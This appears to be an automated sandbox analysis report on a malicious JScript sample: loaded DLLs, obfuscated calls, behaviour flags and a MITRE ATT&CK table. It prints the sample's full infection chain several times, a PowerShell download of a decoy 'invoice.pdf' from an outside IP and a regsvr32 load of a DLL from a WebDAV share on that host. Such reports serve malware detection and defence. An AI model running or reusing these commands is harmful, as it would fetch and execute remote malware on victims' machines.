Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6553.js.csv");ITextStream.WriteLine(" entry:7785 f:xcnwo");ITextStream.WriteLine(" exec:2 f:xcnwo");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49784

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4830			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5002			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5796	Thread sleep count: 4830 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5796	Thread sleep count: 5002 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2780	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6024	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6688	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7220	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: wscript.exe, 00000000.00000002.2248950159.0000013044DDE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: net.exe, 00000007.00000002.2354142765.000001B827AAA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2348930952.000001B827AAA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2353935501.000001B827A48000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3530779602.000001A0F002B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3531716330.000001A0F5658000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\263131343631977.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\263131343631977.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\263131343631977.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\263131343631977.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\263131343631977.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
